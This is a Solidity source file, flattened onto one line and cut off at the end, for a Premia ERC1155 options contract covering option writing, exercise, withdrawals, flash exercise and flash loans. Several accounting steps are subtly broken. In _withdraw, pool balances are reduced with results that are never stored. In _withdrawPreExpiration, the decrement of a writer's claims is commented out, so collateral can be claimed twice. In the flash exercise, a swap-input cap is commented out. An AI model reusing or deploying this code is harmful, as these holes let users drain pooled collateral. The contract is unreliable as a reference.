// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import '@openzeppelin/contracts/token/ERC1155/ERC1155.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/utils/ReentrancyGuard.sol'; import '@openzeppelin/contracts/utils/SafeCast.sol'; import "./interface/IERC20Extended.sol"; import "./interface/IFeeCalculator.sol"; import "./interface/IFlashLoanReceiver.sol"; import "./interface/IPremiaReferral.sol"; import "./interface/IPremiaUncutErc20.sol"; import "./uniswapV2/interfaces/IUniswapV2Router02.sol"; /// @author Premia /// @title An option contract contract PremiaOption is Ownable, ERC1155, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; struct OptionWriteArgs { address token; // Token address uint256 amount; // Amount of tokens to write option for uint256 strikePrice; // Strike price (Must follow strikePriceIncrement of token) uint256 expiration; // Expiration timestamp of the option (Must follow expirationIncrement) bool isCall; // If true : Call option | If false : Put option } struct OptionData { address token; // Token address uint256 strikePrice; // Strike price (Must follow strikePriceIncrement of token) uint256 expiration; // Expiration timestamp of the option (Must follow expirationIncrement) bool isCall; // If true : Call option | If false : Put option uint256 claimsPreExp; // Amount of options from which the funds have been withdrawn pre expiration uint256 claimsPostExp; // Amount of options from which the funds have been withdrawn post expiration uint256 exercised; // Amount of options which have been exercised uint256 supply; // Total circulating supply uint8 decimals; // Token decimals } // Total write cost = collateral + fee + feeReferrer struct QuoteWrite { address collateralToken; // The token to deposit as collateral uint256 collateral; // The amount of collateral to deposit uint8 collateralDecimals; // Decimals of collateral token uint256 fee; // The amount of collateralToken needed to be paid as protocol fee uint256 feeReferrer; // The amount of collateralToken which will be paid the referrer } // Total exercise cost = input + fee + feeReferrer struct QuoteExercise { address inputToken; // Input token for exercise uint256 input; // Amount of input token to pay to exercise uint8 inputDecimals; // Decimals of input token address outputToken; // Output token from the exercise uint256 output; // Amount of output tokens which will be received on exercise uint8 outputDecimals; // Decimals of output token uint256 fee; // The amount of inputToken needed to be paid as protocol fee uint256 feeReferrer; // The amount of inputToken which will be paid to the referrer } struct Pool { uint256 tokenAmount; // The amount of tokens in the option pool uint256 denominatorAmount; // The amounts of denominator in the option pool } IERC20 public denominator; uint8 public denominatorDecimals; ////////////////////////////////////////////////// // Address receiving protocol fees (PremiaMaker) address public feeRecipient; // PremiaReferral contract IPremiaReferral public premiaReferral; // The uPremia token IPremiaUncutErc20 public uPremia; // FeeCalculator contract IFeeCalculator public feeCalculator; ////////////////////////////////////////////////// // Whitelisted tokens for which options can be written (Each token must also have a non 0 strike price increment to be enabled) address[] public tokens; // Strike price increment mapping of each token mapping (address => uint256) public tokenStrikeIncrement; ////////////////////////////////////////////////// // The option id of next option type which will be created uint256 public nextOptionId = 1; // Offset to add to Unix timestamp to make it Fri 23:59:59 UTC uint256 private constant _baseExpiration = 172799; // Expiration increment uint256 private constant _expirationIncrement = 1 weeks; // Max expiration time from now uint256 public maxExpiration = 365 days; // Uniswap routers allowed to be used for swap from flashExercise address[] public whitelistedUniswapRouters; // token => expiration => strikePrice => isCall (1 for call, 0 for put) => optionId mapping (address => mapping(uint256 => mapping(uint256 => mapping (bool => uint256)))) public options; // optionId => OptionData mapping (uint256 => OptionData) public optionData; // optionId => Pool mapping (uint256 => Pool) public pools; // account => optionId => amount of options written mapping (address => mapping (uint256 => uint256)) public nbWritten; //////////// // Events // //////////// event SetToken(address indexed token, uint256 strikePriceIncrement); event OptionIdCreated(uint256 indexed optionId, address indexed token); event OptionWritten(address indexed owner, uint256 indexed optionId, address indexed token, uint256 amount); event OptionCancelled(address indexed owner, uint256 indexed optionId, address indexed token, uint256 amount); event OptionExercised(address indexed user, uint256 indexed optionId, address indexed token, uint256 amount); event Withdraw(address indexed user, uint256 indexed optionId, address indexed token, uint256 amount); event FeePaid(address indexed user, address indexed token, address indexed referrer, uint256 feeProtocol, uint256 feeReferrer); ////////////////////////////////////////////////// ////////////////////////////////////////////////// ////////////////////////////////////////////////// /// @param _uri URI of ERC1155 metadata /// @param _denominator The token used as denominator /// @param _uPremia The uPremia token /// @param _feeCalculator FeeCalculator contract /// @param _premiaReferral PremiaReferral contract /// @param _feeRecipient Recipient of protocol fees (PremiaMaker) constructor(string memory _uri, IERC20 _denominator, IPremiaUncutErc20 _uPremia, IFeeCalculator _feeCalculator, IPremiaReferral _premiaReferral, address _feeRecipient) ERC1155(_uri) { denominator = _denominator; uPremia = _uPremia; feeCalculator = _feeCalculator; feeRecipient = _feeRecipient; premiaReferral = _premiaReferral; denominatorDecimals = IERC20Extended(address(_denominator)).decimals(); } ////////////////////////////////////////////////// ////////////////////////////////////////////////// ////////////////////////////////////////////////// /////////////// // Modifiers // /////////////// modifier notExpired(uint256 _optionId) { require(block.timestamp < optionData[_optionId].expiration, "Expired"); _; } modifier expired(uint256 _optionId) { require(block.timestamp >= optionData[_optionId].expiration, "Not expired"); _; } ////////////////////////////////////////////////// ////////////////////////////////////////////////// ////////////////////////////////////////////////// /////////// // Admin // /////////// /// @notice Set new URI for ERC1155 metadata /// @param _newUri The new URI function setURI(string memory _newUri) external onlyOwner { _setURI(_newUri); } /// @notice Set new protocol fee recipient /// @param _feeRecipient The new protocol fee recipient function setFeeRecipient(address _feeRecipient) external onlyOwner { feeRecipient = _feeRecipient; } /// @notice Set a new max expiration date for options writing (By default, 1 year from current date) /// @param _max The max amount of seconds in the future for which an option expiration can be set function setMaxExpiration(uint256 _max) external onlyOwner { maxExpiration = _max; } /// @notice Set a new PremiaReferral contract /// @param _premiaReferral The new PremiaReferral Contract function setPremiaReferral(IPremiaReferral _premiaReferral) external onlyOwner { premiaReferral = _premiaReferral; } /// @notice Set a new PremiaUncut contract /// @param _uPremia The new PremiaUncut Contract function setPremiaUncutErc20(IPremiaUncutErc20 _uPremia) external onlyOwner { uPremia = _uPremia; } /// @notice Set a new FeeCalculator contract /// @param _feeCalculator The new FeeCalculator Contract function setFeeCalculator(IFeeCalculator _feeCalculator) external onlyOwner { feeCalculator = _feeCalculator; } /// @notice Set settings for tokens to support writing of options paired to denominator /// @dev A value of 0 means this token is disabled and options cannot be written for it /// @param _tokens The list of tokens for which to set strike price increment /// @param _strikePriceIncrement The new strike price increment to set for each token function setTokens(address[] memory _tokens, uint256[] memory _strikePriceIncrement) external onlyOwner { require(_tokens.length == _strikePriceIncrement.length); for (uint256 i=0; i < _tokens.length; i++) { if (!_isInArray(_tokens[i], tokens)) { tokens.push(_tokens[i]); } require(_tokens[i] != address(denominator), "Cant add denominator"); tokenStrikeIncrement[_tokens[i]] = _strikePriceIncrement[i]; emit SetToken(_tokens[i], _strikePriceIncrement[i]); } } /// @notice Set a new list of whitelisted UniswapRouter contracts allowed to be used for flashExercise /// @param _addrList The new list of whitelisted routers function setWhitelistedUniswapRouters(address[] memory _addrList) external onlyOwner { delete whitelistedUniswapRouters; for (uint256 i=0; i < _addrList.length; i++) { whitelistedUniswapRouters.push(_addrList[i]); } } ////////////////////////////////////////////////// ////////// // View // ////////// /// @notice Get the id of an option /// @param _token Token for which the option is for /// @param _expiration Expiration timestamp of the option /// @param _strikePrice Strike price of the option /// @param _isCall Whether the option is a call or a put /// @return The option id function getOptionId(address _token, uint256 _expiration, uint256 _strikePrice, bool _isCall) public view returns(uint256) { return options[_token][_expiration][_strikePrice][_isCall]; } /// @notice Get the amount of whitelisted tokens /// @return The amount of whitelisted tokens function tokensLength() external view returns(uint256) { return tokens.length; } /// @notice Get a quote to write an option /// @param _from Address which will write the option /// @param _option The option to write /// @param _referrer Referrer /// @param _decimals The option token decimals /// @return The quote function getWriteQuote(address _from, OptionWriteArgs memory _option, address _referrer, uint8 _decimals) public view returns(QuoteWrite memory) { QuoteWrite memory quote; if (_option.isCall) { quote.collateralToken = _option.token; quote.collateral = _option.amount; quote.collateralDecimals = _decimals; } else { quote.collateralToken = address(denominator); quote.collateral = _option.amount.mul(_option.strikePrice).div(10**_decimals); quote.collateralDecimals = denominatorDecimals; } (uint256 fee, uint256 feeReferrer) = feeCalculator.getFeeAmounts(_from, _referrer != address(0), quote.collateral, IFeeCalculator.FeeType.Write); quote.fee = fee; quote.feeReferrer = feeReferrer; return quote; } /// @notice Get a quote to exercise an option /// @param _from Address which will exercise the option /// @param _option The option to exercise /// @param _referrer Referrer /// @param _decimals The option token decimals /// @return The quote function getExerciseQuote(address _from, OptionData memory _option, uint256 _amount, address _referrer, uint8 _decimals) public view returns(QuoteExercise memory) { QuoteExercise memory quote; uint256 tokenAmount = _amount; uint256 denominatorAmount = _amount.mul(_option.strikePrice).div(10**_decimals); if (_option.isCall) { quote.inputToken = address(denominator); quote.input = denominatorAmount; quote.inputDecimals = denominatorDecimals; quote.outputToken = _option.token; quote.output = tokenAmount; quote.outputDecimals = _option.decimals; } else { quote.inputToken = _option.token; quote.input = tokenAmount; quote.inputDecimals = _option.decimals; quote.outputToken = address(denominator); quote.output = denominatorAmount; quote.outputDecimals = denominatorDecimals; } (uint256 fee, uint256 feeReferrer) = feeCalculator.getFeeAmounts(_from, _referrer != address(0), quote.input, IFeeCalculator.FeeType.Exercise); quote.fee = fee; quote.feeReferrer = feeReferrer; return quote; } ////////////////////////////////////////////////// ////////// // Main // ////////// /// @notice Get the id of the option, or create a new id if there is no existing id for it /// @param _token Token for which the option is for /// @param _expiration Expiration timestamp of the option /// @param _strikePrice Strike price of the option /// @param _isCall Whether the option is a call or a put /// @return The option id function getOptionIdOrCreate(address _token, uint256 _expiration, uint256 _strikePrice, bool _isCall) public returns(uint256) { uint256 optionId = getOptionId(_token, _expiration, _strikePrice, _isCall); if (optionId == 0) { _preCheckOptionIdCreate(_token, _strikePrice, _expiration); optionId = nextOptionId; options[_token][_expiration][_strikePrice][_isCall] = optionId; uint8 decimals = IERC20Extended(_token).decimals(); require(decimals <= 18, "Too many decimals"); pools[optionId] = Pool({ tokenAmount: 0, denominatorAmount: 0 }); optionData[optionId] = OptionData({ token: _token, expiration: _expiration, strikePrice: _strikePrice, isCall: _isCall, claimsPreExp: 0, claimsPostExp: 0, exercised: 0, supply: 0, decimals: decimals }); emit OptionIdCreated(optionId, _token); nextOptionId = nextOptionId.add(1); } return optionId; } ////////////////////////////////////////////////// /// @notice Write an option on behalf of an address with an existing option id (Used by market delayed writing) /// @dev Requires approval on option contract + token needed to write the option /// @param _from Address on behalf of which the option is written /// @param _optionId The id of the option to write /// @param _amount Amount of options to write /// @param _referrer Referrer /// @return The option id function writeOptionWithIdFrom(address _from, uint256 _optionId, uint256 _amount, address _referrer) external returns(uint256) { require(isApprovedForAll(_from, msg.sender), "Not approved"); OptionData memory data = optionData[_optionId]; OptionWriteArgs memory writeArgs = OptionWriteArgs({ token: data.token, amount: _amount, strikePrice: data.strikePrice, expiration: data.expiration, isCall: data.isCall }); return _writeOption(_from, writeArgs, _referrer); } /// @notice Write an option on behalf of an address /// @dev Requires approval on option contract + token needed to write the option /// @param _from Address on behalf of which the option is written /// @param _option The option to write /// @param _referrer Referrer /// @return The option id function writeOptionFrom(address _from, OptionWriteArgs memory _option, address _referrer) external returns(uint256) { require(isApprovedForAll(_from, msg.sender), "Not approved"); return _writeOption(_from, _option, _referrer); } /// @notice Write an option /// @param _option The option to write /// @param _referrer Referrer /// @return The option id function writeOption(OptionWriteArgs memory _option, address _referrer) public returns(uint256) { return _writeOption(msg.sender, _option, _referrer); } /// @notice Write an option on behalf of an address /// @param _from Address on behalf of which the option is written /// @param _option The option to write /// @param _referrer Referrer /// @return The option id function _writeOption(address _from, OptionWriteArgs memory _option, address _referrer) internal nonReentrant returns(uint256) { require(_option.amount > 0, "Amount <= 0"); uint256 optionId = getOptionIdOrCreate(_option.token, _option.expiration, _option.strikePrice, _option.isCall); // Set referrer or get current if one already exists _referrer = _trySetReferrer(_from, _referrer); QuoteWrite memory quote = getWriteQuote(_from, _option, _referrer, optionData[optionId].decimals); IERC20(quote.collateralToken).safeTransferFrom(_from, address(this), quote.collateral); _payFees(_from, IERC20(quote.collateralToken), _referrer, quote.fee, quote.feeReferrer, quote.collateralDecimals); if (_option.isCall) { pools[optionId].tokenAmount = pools[optionId].tokenAmount.add(quote.collateral); } else { pools[optionId].denominatorAmount = pools[optionId].denominatorAmount.add(quote.collateral); } nbWritten[_from][optionId] = nbWritten[_from][optionId].add(_option.amount); mint(_from, optionId, _option.amount); emit OptionWritten(_from, optionId, _option.token, _option.amount); return optionId; } ////////////////////////////////////////////////// /// @notice Cancel an option on behalf of an address. This will burn the option ERC1155 and withdraw collateral. /// @dev Requires approval of the option contract /// This is only doable by an address which wrote an amount of options >= _amount /// Must be called before expiration /// @param _from Address on behalf of which the option is cancelled /// @param _optionId The id of the option to cancel /// @param _amount Amount to cancel function cancelOptionFrom(address _from, uint256 _optionId, uint256 _amount) external { require(isApprovedForAll(_from, msg.sender), "Not approved"); _cancelOption(_from, _optionId, _amount); } /// @notice Cancel an option. This will burn the option ERC1155 and withdraw collateral. /// @dev This is only doable by an address which wrote an amount of options >= _amount /// Must be called before expiration /// @param _optionId The id of the option to cancel /// @param _amount Amount to cancel function cancelOption(uint256 _optionId, uint256 _amount) public { _cancelOption(msg.sender, _optionId, _amount); } /// @notice Cancel an option on behalf of an address. This will burn the option ERC1155 and withdraw collateral. /// @dev This is only doable by an address which wrote an amount of options >= _amount /// Must be called before expiration /// @param _from Address on behalf of which the option is cancelled /// @param _optionId The id of the option to cancel /// @param _amount Amount to cancel function _cancelOption(address _from, uint256 _optionId, uint256 _amount) internal nonReentrant { require(_amount > 0, "Amount <= 0"); require(nbWritten[_from][_optionId] >= _amount, "Not enough written"); burn(_from, _optionId, _amount); nbWritten[_from][_optionId] = nbWritten[_from][_optionId].sub(_amount); if (optionData[_optionId].isCall) { pools[_optionId].tokenAmount = pools[_optionId].tokenAmount.sub(_amount); IERC20(optionData[_optionId].token).safeTransfer(_from, _amount); } else { uint256 amount = _amount.mul(optionData[_optionId].strikePrice).div(10**optionData[_optionId].decimals); pools[_optionId].denominatorAmount = pools[_optionId].denominatorAmount.sub(amount); denominator.safeTransfer(_from, amount); } emit OptionCancelled(_from, _optionId, optionData[_optionId].token, _amount); } ////////////////////////////////////////////////// /// @notice Exercise an option on behalf of an address /// @dev Requires approval of the option contract /// @param _from Address on behalf of which the option will be exercised /// @param _optionId The id of the option to exercise /// @param _amount Amount to exercise /// @param _referrer Referrer function exerciseOptionFrom(address _from, uint256 _optionId, uint256 _amount, address _referrer) external { require(isApprovedForAll(_from, msg.sender), "Not approved"); _exerciseOption(_from, _optionId, _amount, _referrer); } /// @notice Exercise an option /// @param _optionId The id of the option to exercise /// @param _amount Amount to exercise /// @param _referrer Referrer function exerciseOption(uint256 _optionId, uint256 _amount, address _referrer) public { _exerciseOption(msg.sender, _optionId, _amount, _referrer); } /// @notice Exercise an option on behalf of an address /// @param _from Address on behalf of which the option will be exercised /// @param _optionId The id of the option to exercise /// @param _amount Amount to exercise /// @param _referrer Referrer function _exerciseOption(address _from, uint256 _optionId, uint256 _amount, address _referrer) internal nonReentrant { require(_amount > 0, "Amount <= 0"); OptionData storage data = optionData[_optionId]; burn(_from, _optionId, _amount); data.exercised = uint256(data.exercised).add(_amount); // Set referrer or get current if one already exists _referrer = _trySetReferrer(_from, _referrer); QuoteExercise memory quote = getExerciseQuote(_from, data, _amount, _referrer, data.decimals); IERC20(quote.inputToken).safeTransferFrom(_from, address(this), quote.input); _payFees(_from, IERC20(quote.inputToken), _referrer, quote.fee, quote.feeReferrer, quote.inputDecimals); if (data.isCall) { pools[_optionId].tokenAmount = pools[_optionId].tokenAmount.sub(quote.output); pools[_optionId].denominatorAmount = pools[_optionId].denominatorAmount.add(quote.input); } else { pools[_optionId].denominatorAmount = pools[_optionId].denominatorAmount.sub(quote.output); pools[_optionId].tokenAmount = pools[_optionId].tokenAmount.add(quote.input); } IERC20(quote.outputToken).safeTransfer(_from, quote.output); emit OptionExercised(_from, _optionId, data.token, _amount); } ////////////////////////////////////////////////// /// @notice Withdraw collateral from an option post expiration on behalf of an address. /// (Funds will be send to the address on behalf of which withdrawal is made) /// Funds in the option pool will be distributed pro rata of amount of options written by the address /// Ex : If after expiration date there has been 10 options written and there is 1 eth and 1000 DAI in the pool, /// Withdraw for each option will be worth 0.1 eth and 100 dai /// @dev Only callable by addresses which have unclaimed funds for options they wrote /// Requires approval of the option contract /// @param _from Address on behalf of which the withdraw call is made (Which will receive the withdrawn funds) /// @param _optionId The id of the option to withdraw funds from function withdrawFrom(address _from, uint256 _optionId) external { require(isApprovedForAll(_from, msg.sender), "Not approved"); _withdraw(_from, _optionId); } /// @notice Withdraw collateral from an option post expiration /// Funds in the option pool will be distributed pro rata of amount of options written by the address /// Ex : If after expiration date there has been 10 options written and there is 1 eth and 1000 DAI in the pool, /// Withdraw for each option will be worth 0.1 eth and 100 dai /// @dev Only callable by addresses which have unclaimed funds for options they wrote /// @param _optionId The id of the option to withdraw funds from function withdraw(uint256 _optionId) public { _withdraw(msg.sender, _optionId); } /// @notice Withdraw collateral from an option post expiration on behalf of an address. /// (Funds will be send to the address on behalf of which withdrawal is made) /// Funds in the option pool will be distributed pro rata of amount of options written by the address /// Ex : If after expiration date there has been 10 options written and there is 1 eth and 1000 DAI in the pool, /// Withdraw for each option will be worth 0.1 eth and 100 dai /// @dev Only callable by addresses which have unclaimed funds for options they wrote /// @param _from Address on behalf of which the withdraw call is made (Which will receive the withdrawn funds) /// @param _optionId The id of the option to withdraw funds from function _withdraw(address _from, uint256 _optionId) internal nonReentrant expired(_optionId) { require(nbWritten[_from][_optionId] > 0, "No option to claim"); OptionData storage data = optionData[_optionId]; uint256 nbTotal = uint256(data.supply).add(data.exercised).sub(data.claimsPreExp); // Amount of options user still has to claim funds from uint256 claimsUser = nbWritten[_from][_optionId]; // uint256 denominatorAmount = pools[_optionId].denominatorAmount.mul(claimsUser).div(nbTotal); uint256 tokenAmount = pools[_optionId].tokenAmount.mul(claimsUser).div(nbTotal); // pools[_optionId].denominatorAmount.sub(denominatorAmount); pools[_optionId].tokenAmount.sub(tokenAmount); data.claimsPostExp = uint256(data.claimsPostExp).add(claimsUser); delete nbWritten[_from][_optionId]; denominator.safeTransfer(_from, denominatorAmount); IERC20(optionData[_optionId].token).safeTransfer(_from, tokenAmount); emit Withdraw(_from, _optionId, data.token, claimsUser); } ////////////////////////////////////////////////// /// @notice Withdraw collateral from an option pre expiration on behalf of an address. /// (Funds will be send to the address on behalf of which withdrawal is made) /// Only opposite side of the collateral will be allocated when withdrawing pre expiration /// If writer deposited WETH for a WETH/DAI call, he will only receive the strike amount in DAI from a pre-expiration withdrawal, /// while doing a withdrawal post expiration would make him receive pro rata of funds left in the option pool at the expiration, /// (Which might be both WETH and DAI if not all options have been exercised) /// /// @dev Requires approval of the option contract /// Only callable by addresses which have unclaimed funds for options they wrote /// This also requires options to have been exercised and not claimed /// Ex : If a total of 10 options have been written (2 from Alice and 8 from Bob) and 3 options have been exercise : /// - Alice will be allowed to call withdrawPreExpiration for her 2 options written /// - Bob will only be allowed to call withdrawPreExpiration for 3 options he wrote /// - If Alice call first withdrawPreExpiration for her 2 options, /// there will be only 1 unclaimed exercised options that Bob will be allowed to withdrawPreExpiration /// /// @param _from Address on behalf of which the withdrawPreExpiration call is made (Which will receive the withdrawn funds) /// @param _optionId The id of the option to withdraw funds from /// @param _amount The amount of options for which withdrawPreExpiration function withdrawPreExpirationFrom(address _from, uint256 _optionId, uint256 _amount) external { require(isApprovedForAll(_from, msg.sender), "Not approved"); _withdrawPreExpiration(_from, _optionId, _amount); } /// @notice Withdraw collateral from an option pre expiration /// (Funds will be send to the address on behalf of which withdrawal is made) /// Only opposite side of the collateral will be allocated when withdrawing pre expiration /// If writer deposited WETH for a WETH/DAI call, he will only receive the strike amount in DAI from a pre-expiration withdrawal, /// while doing a withdrawal post expiration would make him receive pro rata of funds left in the option pool at the expiration, /// (Which might be both WETH and DAI if not all options have been exercised) /// /// @dev Only callable by addresses which have unclaimed funds for options they wrote /// This also requires options to have been exercised and not claimed /// Ex : If a total of 10 options have been written (2 from Alice and 8 from Bob) and 3 options have been exercise : /// - Alice will be allowed to call withdrawPreExpiration for her 2 options written /// - Bob will only be allowed to call withdrawPreExpiration for 3 options he wrote /// - If Alice call first withdrawPreExpiration for her 2 options, /// there will be only 1 unclaimed exercised options that Bob will be allowed to withdrawPreExpiration /// /// @param _optionId The id of the option to exercise /// @param _amount The amount of options for which withdrawPreExpiration function withdrawPreExpiration(uint256 _optionId, uint256 _amount) public { _withdrawPreExpiration(msg.sender, _optionId, _amount); } /// @notice Withdraw collateral from an option pre expiration on behalf of an address. /// (Funds will be send to the address on behalf of which withdrawal is made) /// Only opposite side of the collateral will be allocated when withdrawing pre expiration /// If writer deposited WETH for a WETH/DAI call, he will only receive the strike amount in DAI from a pre-expiration withdrawal, /// while doing a withdrawal post expiration would make him receive pro rata of funds left in the option pool at the expiration, /// (Which might be both WETH and DAI if not all options have been exercised) /// /// @dev Only callable by addresses which have unclaimed funds for options they wrote /// This also requires options to have been exercised and not claimed /// Ex : If a total of 10 options have been written (2 from Alice and 8 from Bob) and 3 options have been exercise : /// - Alice will be allowed to call withdrawPreExpiration for her 2 options written /// - Bob will only be allowed to call withdrawPreExpiration for 3 options he wrote /// - If Alice call first withdrawPreExpiration for her 2 options, /// there will be only 1 unclaimed exercised options that Bob will be allowed to withdrawPreExpiration /// /// @param _from Address on behalf of which the withdrawPreExpiration call is made (Which will receive the withdrawn funds) /// @param _optionId The id of the option to withdraw funds from /// @param _amount The amount of options for which withdrawPreExpiration function _withdrawPreExpiration(address _from, uint256 _optionId, uint256 _amount) internal nonReentrant notExpired(_optionId) { require(_amount > 0, "Amount <= 0"); // Amount of options user still has to claim funds from uint256 claimsUser = nbWritten[_from][_optionId]; require(claimsUser >= _amount, "Not enough claims"); OptionData storage data = optionData[_optionId]; uint256 nbClaimable = uint256(data.exercised).sub(data.claimsPreExp); require(nbClaimable >= _amount, "Not enough claimable"); // nbWritten[_from][_optionId] = nbWritten[_from][_optionId].sub(_amount); data.claimsPreExp = uint256(data.claimsPreExp).add(_amount); if (data.isCall) { uint256 amount = _amount.mul(data.strikePrice).div(10**data.decimals); pools[_optionId].denominatorAmount = pools[_optionId].denominatorAmount.sub(amount); denominator.safeTransfer(_from, amount); } else { pools[_optionId].tokenAmount = pools[_optionId].tokenAmount.sub(_amount); IERC20(data.token).safeTransfer(_from, _amount); } } ////////////////////////////////////////////////// /// @notice Flash exercise an option on behalf of an address /// This is usable on options in the money, in order to use a portion of the option collateral /// to swap a portion of it to the token required to exercise the option and pay protocol fees, /// and send the profit to the address exercising. /// This allows any option in the money to be exercised without the need of owning the token needed to exercise /// @dev Requires approval of the option contract /// @param _from Address on behalf of which the flash exercise is made (Which will receive the profit) /// @param _optionId The id of the option to flash exercise /// @param _amount Amount of option to flash exercise /// @param _referrer Referrer /// @param _router The UniswapRouter used to perform the swap (Needs to be a whitelisted router) /// @param _amountInMax Max amount of collateral token to use for the swap, for the tx to not be reverted /// @param _path Path used for the routing of the swap function flashExerciseOptionFrom(address _from, uint256 _optionId, uint256 _amount, address _referrer, IUniswapV2Router02 _router, uint256 _amountInMax, address[] memory _path) external { require(isApprovedForAll(_from, msg.sender), "Not approved"); _flashExerciseOption(_from, _optionId, _amount, _referrer, _router, _amountInMax, _path); } /// @notice Flash exercise an option /// This is usable on options in the money, in order to use a portion of the option collateral /// to swap a portion of it to the token required to exercise the option and pay protocol fees, /// and send the profit to the address exercising. /// This allows any option in the money to be exercised without the need of owning the token needed to exercise /// @param _optionId The id of the option to flash exercise /// @param _amount Amount of option to flash exercise /// @param _referrer Referrer /// @param _router The UniswapRouter used to perform the swap (Needs to be a whitelisted router) /// @param _amountInMax Max amount of collateral token to use for the swap, for the tx to not be reverted /// @param _path Path used for the routing of the swap function flashExerciseOption(uint256 _optionId, uint256 _amount, address _referrer, IUniswapV2Router02 _router, uint256 _amountInMax, address[] memory _path) external { _flashExerciseOption(msg.sender, _optionId, _amount, _referrer, _router, _amountInMax, _path); } /// @notice Flash exercise an option on behalf of an address /// This is usable on options in the money, in order to use a portion of the option collateral /// to swap a portion of it to the token required to exercise the option and pay protocol fees, /// and send the profit to the address exercising. /// This allows any option in the money to be exercised without the need of owning the token needed to exercise /// @dev Requires approval of the option contract /// @param _from Address on behalf of which the flash exercise is made (Which will receive the profit) /// @param _optionId The id of the option to flash exercise /// @param _amount Amount of option to flash exercise /// @param _referrer Referrer /// @param _router The UniswapRouter used to perform the swap (Needs to be a whitelisted router) /// @param _amountInMax Max amount of collateral token to use for the swap, for the tx to not be reverted /// @param _path Path used for the routing of the swap function _flashExerciseOption(address _from, uint256 _optionId, uint256 _amount, address _referrer, IUniswapV2Router02 _router, uint256 _amountInMax, address[] memory _path) internal nonReentrant { require(_amount > 0, "Amount <= 0"); burn(_from, _optionId, _amount); optionData[_optionId].exercised = uint256(optionData[_optionId].exercised).add(_amount); // Set referrer or get current if one already exists _referrer = _trySetReferrer(_from, _referrer); QuoteExercise memory quote = getExerciseQuote(_from, optionData[_optionId], _amount, _referrer, optionData[_optionId].decimals); IERC20 tokenErc20 = IERC20(optionData[_optionId].token); uint256 tokenAmountRequired = tokenErc20.balanceOf(address(this)); uint256 denominatorAmountRequired = denominator.balanceOf(address(this)); if (optionData[_optionId].isCall) { pools[_optionId].tokenAmount = pools[_optionId].tokenAmount.sub(quote.output); pools[_optionId].denominatorAmount = pools[_optionId].denominatorAmount.add(quote.input); } else { pools[_optionId].denominatorAmount = pools[_optionId].denominatorAmount.sub(quote.output); pools[_optionId].tokenAmount = pools[_optionId].tokenAmount.add(quote.input); } // if (quote.output < _amountInMax) { _amountInMax = quote.output; } // Swap enough denominator to tokenErc20 to pay fee + strike price uint256 tokenAmountUsed = _swap(_router, quote.outputToken, quote.inputToken, quote.input.add(quote.fee).add(quote.feeReferrer), _amountInMax, _path)[0]; // Pay fees _payFees(address(this), IERC20(quote.inputToken), _referrer, quote.fee, quote.feeReferrer, quote.inputDecimals); uint256 profit = quote.output.sub(tokenAmountUsed); // Send profit to sender IERC20(quote.outputToken).safeTransfer(_from, profit); // if (optionData[_optionId].isCall) { denominatorAmountRequired = denominatorAmountRequired.add(quote.input); tokenAmountRequired = tokenAmountRequired.sub(quote.output); } else { denominatorAmountRequired = denominatorAmountRequired.sub(quote.output); tokenAmountRequired = tokenAmountRequired.add(quote.input); } require(denominator.balanceOf(address(this)) >= denominatorAmountRequired, "Wrong denom bal"); require(tokenErc20.balanceOf(address(this)) >= tokenAmountRequired, "Wrong token bal"); emit OptionExercised(_from, _optionId, optionData[_optionId].token, _amount); } ////////////////////////////////////////////////// /// @notice Flash loan collaterals sitting in this contract /// Loaned amount + fee must be repaid by the end of the transaction for the transaction to not be reverted /// @param _tokenAddress Token to flashLoan /// @param _amount Amount to flashLoan /// @param _receiver Receiver of the flashLoan function flashLoan(address _tokenAddress, uint256 _amount, IFlashLoanReceiver _receiver) public nonReentrant { IERC20 _token = IERC20(_tokenAddress); uint256 startBalance = _token.balanceOf(address(this)); _token.safeTransfer(address(_receiver), _amount); (uint256 fee,) = feeCalculator.getFeeAmounts(msg.sender, false, _amount, IFeeCalculator.FeeType.FlashLoan); _receiver.execute(_tokenAddress, _amount, _amount.add(fee)); uint256 endBalance = _token.balanceOf(address(this)); uint256 endBalanceRequired = startBalance.add(fee); require(endBalance >= endBalanceRequired, "Failed to pay back"); _token.safeTransfer(feeRecipient, endBalance.sub(startBalance)); endBalance = _token.balanceOf(address(this)); require(endBalance >= startBalance, "Failed to pay back"); } ////////////////////////////////////////////////// ////////////// // Internal // ////////////// /// @notice Mint ERC1155 representing the option /// @dev Requires option to not be expired /// @param _account Address for which ERC1155 is minted /// @param _amount Amount minted function mint(address _account, uint256 _id, uint256 _amount) internal notExpired(_id) { OptionData storage data = optionData[_id]; _mint(_account, _id, _amount, ""); data.supply = uint256(data.supply).add(_amount); } /// @notice Burn ERC1155 representing the option /// @param _account Address from which ERC1155 is burnt /// @param _amount Amount burnt function burn(address _account, uint256 _id, uint256 _amount) internal notExpired(_id) { OptionData storage data = optionData[_id]; data.supply = uint256(data.supply).sub(_amount); _burn(_account, _id, _amount); } /// @notice Utility function to check if a value is inside an array /// @param _value The value to look for /// @param _array The array to check /// @return Whether the value is in the array or not function _isInArray(address _value, address[] memory _array) internal pure returns(bool) { uint256 length = _array.length; for (uint256 i = 0; i < length; ++i) { if (_array[i] == _value) { return true; } } return false; } /// @notice Pay protocol fees /// @param _from Address paying protocol fees /// @param _token The token in which protocol fees are paid /// @param _referrer The referrer of _from /// @param _fee Protocol fee to pay to feeRecipient /// @param _feeReferrer Fee to pay to referrer /// @param _decimals Token decimals function _payFees(address _from, IERC20 _token, address _referrer, uint256 _fee, uint256 _feeReferrer, uint8 _decimals) internal { if (_fee > 0) { // For flash exercise if (_from == address(this)) { _token.safeTransfer(feeRecipient, _fee); } else { _token.safeTransferFrom(_from, feeRecipient, _fee); } } if (_feeReferrer > 0) { // For flash exercise if (_from == address(this)) { _token.safeTransfer(_referrer, _feeReferrer); } else { _token.safeTransferFrom(_from, _referrer, _feeReferrer); } } // If uPremia rewards are enabled if (address(uPremia) != address(0)) { uint256 totalFee = _fee.add(_feeReferrer); if (totalFee > 0) { uPremia.mintReward(_from, address(_token), totalFee, _decimals); } } emit FeePaid(_from, address(_token), _referrer, _fee, _feeReferrer); } /// @notice Try to set given referrer, returns current referrer if one already exists /// @param _user Address for which we try to set a referrer /// @param _referrer Potential referrer /// @return Actual referrer (Potential referrer, or actual referrer if one already exists) function _trySetReferrer(address _user, address _referrer) internal returns(address) { if (address(premiaReferral) != address(0)) { _referrer = 